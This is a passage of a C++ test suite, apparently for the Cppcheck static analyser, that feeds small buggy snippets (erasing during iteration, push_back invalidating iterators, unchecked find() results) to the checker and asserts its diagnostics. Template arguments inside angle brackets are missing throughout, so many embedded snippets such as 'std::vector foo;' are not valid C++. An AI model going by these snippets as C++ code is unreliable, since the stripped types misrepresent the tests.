(itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n 